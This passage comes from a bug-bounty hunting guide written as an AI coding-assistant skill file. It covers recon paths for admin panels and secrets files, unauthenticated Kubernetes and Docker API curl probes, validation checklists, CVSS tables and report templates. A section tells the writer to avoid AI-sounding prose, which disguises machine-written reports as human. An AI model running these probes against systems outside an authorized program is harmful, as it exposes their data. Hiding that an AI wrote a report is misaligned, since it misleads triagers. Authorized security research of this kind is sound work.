Exposed Admin Panels

/jenkins       /grafana       /kibana        /elasticsearch
/swagger-ui.html  /api-docs   /phpMyAdmin    /adminer.php
/.env          /config.json   /server-status /actuator/env

Kubernetes / Docker

# K8s API (unauthenticated):
curl -sk https://TARGET:6443/api/v1/namespaces/default/pods
# Docker API:
curl -s http://TARGET:2375/containers/json

PHASE 4: VALIDATE

The 7-Question Gate (Run BEFORE Writing ANY Report)

All 7 must be YES. Any NO -> STOP.

Q1: Can I exploit this RIGHT NOW with a real PoC?

Write the exact HTTP request. If you cannot produce a working request -> KILL IT.

Q2: Does it affect a REAL user who took NO unusual actions?

No "the user would need to..." with 5 preconditions. Victim did nothing special.

Q3: Is the impact concrete (money, PII, ATO, RCE)?

"Technically possible" is not impact. "I read victim's SSN" is impact.

Q4: Is this in scope per the program policy?

Check the exact domain/endpoint against the program's scope page.

Q5: Did I check Hacktivity/changelog for duplicates?

Search the program's disclosed reports and recent changelog entries.

Q6: Is this NOT on the "always rejected" list?

Check the list below. If it's there and you can't chain it -> KILL IT.

Q7: Would a triager reading this say "yes, that's a real bug"?

Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?

4 Pre-Submission Gates

Gate 0: Reality Check (30 seconds)

[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading
[ ] The bug is in scope -- checked program scope explicitly
[ ] I can reproduce it from scratch (not just once)
[ ] I have evidence (screenshot, response, video)

Gate 1: Impact Validation (2 minutes)

[ ] I can answer: "What can an attacker DO that they couldn't before?"
[ ] The answer is more than "see non-sensitive data"
[ ] There's a real victim: another user's data, company's data, financial loss
[ ] I'm not relying on the user doing something unlikely

Gate 2: Deduplication Check (5 minutes)

[ ] Searched HackerOne Hacktivity for this program + similar bug title
[ ] Searched GitHub issues for target repo
[ ] Read the most recent 5 disclosed reports for this program
[ ] This is not a "known issue" in their changelog or public docs

Gate 3: Report Quality (10 minutes)

[ ] Title: One sentence, contains vuln class + location + impact
[ ] Steps to reproduce: Copy-pasteable HTTP request
[ ] Evidence: Screenshot/video showing actual impact (not just 200 response)
[ ] Severity: Matches CVSS 3.1 score AND program's severity definitions
[ ] Remediation: 1-2 sentences of concrete fix

CVSS 3.1 Quick Guide

Factor	Low (0-3.9)	Medium (4-6.9)	High (7-8.9)	Critical (9-10)
Attack Vector	Physical	Local	Adjacent	Network
Privileges	High	Low	None	None
User Interaction	Required	Required	None	None
Impact	Partial	Partial	High	High (all 3)

Typical Scores by Bug Class

Bug	Typical CVSS	Severity
IDOR (read PII)	6.5	Medium
IDOR (write/delete)	7.5	High
Auth bypass -> admin	9.8	Critical
Stored XSS	5.4-8.8	Med-High
SQLi (data exfil)	8.6	High
SSRF (cloud metadata)	9.1	Critical
Race condition (double spend)	7.5	High
GraphQL auth bypass	8.7	High
JWT none algorithm	9.1	Critical

ALWAYS REJECTED -- Never Submit These

Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.

N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.

Conditionally Valid With Chain

These low findings become valid bugs when chained:

Low Finding	+ Chain	= Valid Bug
Open redirect	+ OAuth code theft	ATO
Clickjacking	+ sensitive action + PoC	Account action
CORS wildcard	+ credentialed exfil	Data theft
CSRF	+ sensitive state change	Account takeover
No rate limit	+ OTP brute force	ATO
SSRF (DNS only)	+ internal access proof	Internal network access
Host header injection	+ password reset poisoning	ATO
Self-XSS	+ login CSRF	Stored XSS on victim

PHASE 5: REPORT

HackerOne Report Template

Title: [Vuln Class] in [endpoint/feature] leads to [Impact]

## Summary
[2-3 sentences: what it is, where it is, what attacker can do]

## Steps To Reproduce
1. Log in as attacker (account A)
2. Send request: [paste exact request]
3. Observe: [exact response showing the bug]
4. Confirm: [what the attacker gained]

## Supporting Material
[Screenshot / video of exploitation]
[Burp Suite request/response]

## Impact
An attacker can [specific action] resulting in [specific harm].
[Quantify if possible: "This affects all X users" or "Attacker can access Y data"]

## Severity Assessment
CVSS 3.1 Score: X.X ([Severity label])
Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None

Bugcrowd Report Template

Title: [Vuln] at [endpoint] -- [Impact in one line]

Bug Type: [IDOR/SSRF/XSS/etc]
Target: [URL or component]
Severity: [P1/P2/P3/P4]

Description:
[Root cause + exact location]

Reproduction:
1. [step]
2. [step]
3. [step]

Impact:
[Concrete business impact]

Fix Suggestion:
[Specific remediation]

Human Tone Rules (Avoid AI-Sounding Writing)

Start sentences with the impact, not the vulnerability name
Write like you're explaining to a smart developer, not a textbook
Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
One concrete example beats three abstract sentences
No em dashes, no "comprehensive/leverage/seamless/ensure"

Report Title Formula

[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]

Good titles:

IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data
Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts
Stored XSS in profile bio field executes in admin panel -- allows privilege escalation
SSRF via image import URL parameter reaches AWS EC2 metadata service
Race condition in coupon redemption allows same code to be used unlimited times

Bad titles:

IDOR vulnerability found
Broken access control
XSS in user input
Security issue in API

Impact Statement Formula (First Paragraph)

An [attacker with X access level] can [exact action] by [method], resulting in [business harm].
This requires [prerequisites] and leaves [detection/reversibility].

The 60-Second Pre-Submit Checklist

[ ] Title follows formula: [Class] in [endpoint] allows [actor] to [impact]
[ ] First sentence states exact impact in plain English
[ ] Steps to Reproduce has exact HTTP request (copy-paste ready)
[ ] Response showing the bug is included (screenshot or response body)
[ ] Two test accounts used (not just one account testing itself)
[ ] CVSS score calculated and included
[ ] Recommended fix is one sentence (not a lecture)
[ ] No typos in the endpoint path or parameter names
[ ] Report is < 600 words (triagers skim long reports)
[ ] Severity claimed matches impact described (don't overclaim)

Severity Escalation Language

When payout is being downgraded, use these counters:

Program Says	You Counter With
"Requires authentication"	"Attacker needs only a free account (no special role)"
"Limited impact"	"Affects [N] users / [PII type] / [$ amount]"
"Already known"	"Show me the report number -- I searched and found none"
"By design"	"Show me the documentation that states this is intended"
"Low CVSS score"	"CVSS doesn't account for business impact -- attacker can steal [X]"

RESOURCES

Bug Bounty Platforms

HackerOne Hacktivity -- Disclosed reports
Bugcrowd Crowdstream -- Public findings
Intigriti Leaderboard

Learning

PortSwigger Web Academy -- Free vuln labs (best)
HackTricks -- Attack technique reference
PayloadsAllTheThings -- Payload reference
Solodit -- 50K+ searchable audit findings (Web3)
ProjectDiscovery Chaos -- Free subdomain datasets

Wordlists

SecLists -- Comprehensive wordlists
HowToHunt -- Step-by-step vuln hunting
DefaultCreds -- Default credentials

Payload Databases

XSSHunter -- Blind XSS detection
interactsh -- OOB callback server

INSTALLATION (Claude Code Skill)

To use this as a Claude Code skill, copy this file to your skills directory:

# Option A: Clone the repo and link the skill
git clone https://github.com/shuvonsec/claude-bug-bounty.git ~/.claude/skills/bug-bounty
ln -s ~/.claude/skills/bug-bounty/SKILL.md ~/.claude/skills/bug-bounty/SKILL.md

# Option B: Direct copy
mkdir -p ~/.claude/skills/bug-bounty
curl -s https://raw.githubusercontent.com/shuvonsec/claude-bug-bounty/main/SKILL.md \
  -o ~/.claude/skills/bug-bounty/SKILL.md

Then in Claude Code, this skill loads automatically when you ask about bug bounty, recon, or vulnerability hunting.